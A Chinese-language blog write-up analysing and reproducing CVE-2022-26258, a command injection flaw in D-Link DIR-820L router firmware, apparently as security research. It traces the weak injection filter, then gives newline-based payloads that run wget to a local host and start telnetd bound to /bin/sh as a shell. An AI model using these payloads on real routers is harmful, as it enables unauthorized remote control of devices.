D-Link的命令注入漏洞CVE-2022-26258分析及复现
环境搭建
1.binwalk安装
1 | git clone --recursive https://github.com/ReFirmLabs/binwalk.git |
2.FirmAE安装
1 | git clone --recursive https://github.com/pr0v3rbs/FirmAE.git |
3.固件下载
1 | wget http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663 |
分析
先看有关的CVE描述信息
说是在lan.asp下,有不安全的参数Device Name传入,可导致远程命令执行。
接下来我们使用binwalk将固件解包
1 | binwalk -Me DIR820LA1_FW105B03.bin |
进入squashfs-root目录查找lan.asp文件
1 | $ find . | grep 'lan.asp' |
在lan.asp文件中找device name相关的关键词可以看到
copyDataToDataModelFormat函数生成pararmStr然后作为post_data发送给get_set.ccp。
再次通过命令查找发现不存在get_set.ccp文件(存在get_set程序但经过分析并未发现关键代码),判断是通过程序解析。
通过命令查找包含关键词的文件
1 | $ find . -type f -exec grep -li 'get_set' {} + | xargs grep -li 'Device' | xargs grep -li 'name' | grep -vE '*.asp|*.js' |
经过分析排查可以在ncc2程序中找到关键代码。
很明显这里调用了hasInjectionString对存放device_name的obj对象进行了check,然后调用_system传入了*obj。
我们需要对这两个函数都进行定位,还是使用一样的搜索方法
1 | $ find . -type f -exec grep -li '_system' {} + | xargs grep -li 'hasInjectionString' | grep -vE '*.asp|*.js' |
可以看出,libleopard.so就是这俩函数的库文件了。
找到这俩函数的定义
可以看出只进行了[‘`’,’\‘,’;’,’'‘,’|’]的check,可以使用换行或者&&绕过,然后就可以直接调用system了。
复现
先使用FirmAE启动固件,启动时间会很久(10-30分钟)。
1 | sudo ./init.sh |
正常启动后会显示如下页面
然后访问192.168.0.1进入登录页面,无密码所以直接点击login登录即可。
然后使用burpsuit抓包可以看到LanHostCfg_Device_Name_1.1.1.0传入了device_name。
我们将其修改成以下,点击continue
1 | %0awget http://192.168.0.2:4444%0a |
然后本地运行nc监听,可以看到成功验证wget的执行。
1 | nc -lp 4444 |
同样可以使用如下命令反弹shell。
1 | %0atelnetd -l /bin/sh -p 4444 -b 0.0.0.0%0a |
- Title: D-Link的命令注入漏洞CVE-2022-26258分析及复现
- Author: 0rb1t
- Created at : 2024-08-16 19:45:16
- Updated at : 2024-08-18 22:49:23
- Link: https://redefine.ohevan.com/2024/08/16/D-Link的命令注入漏洞CVE-2022-26258分析及复现/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments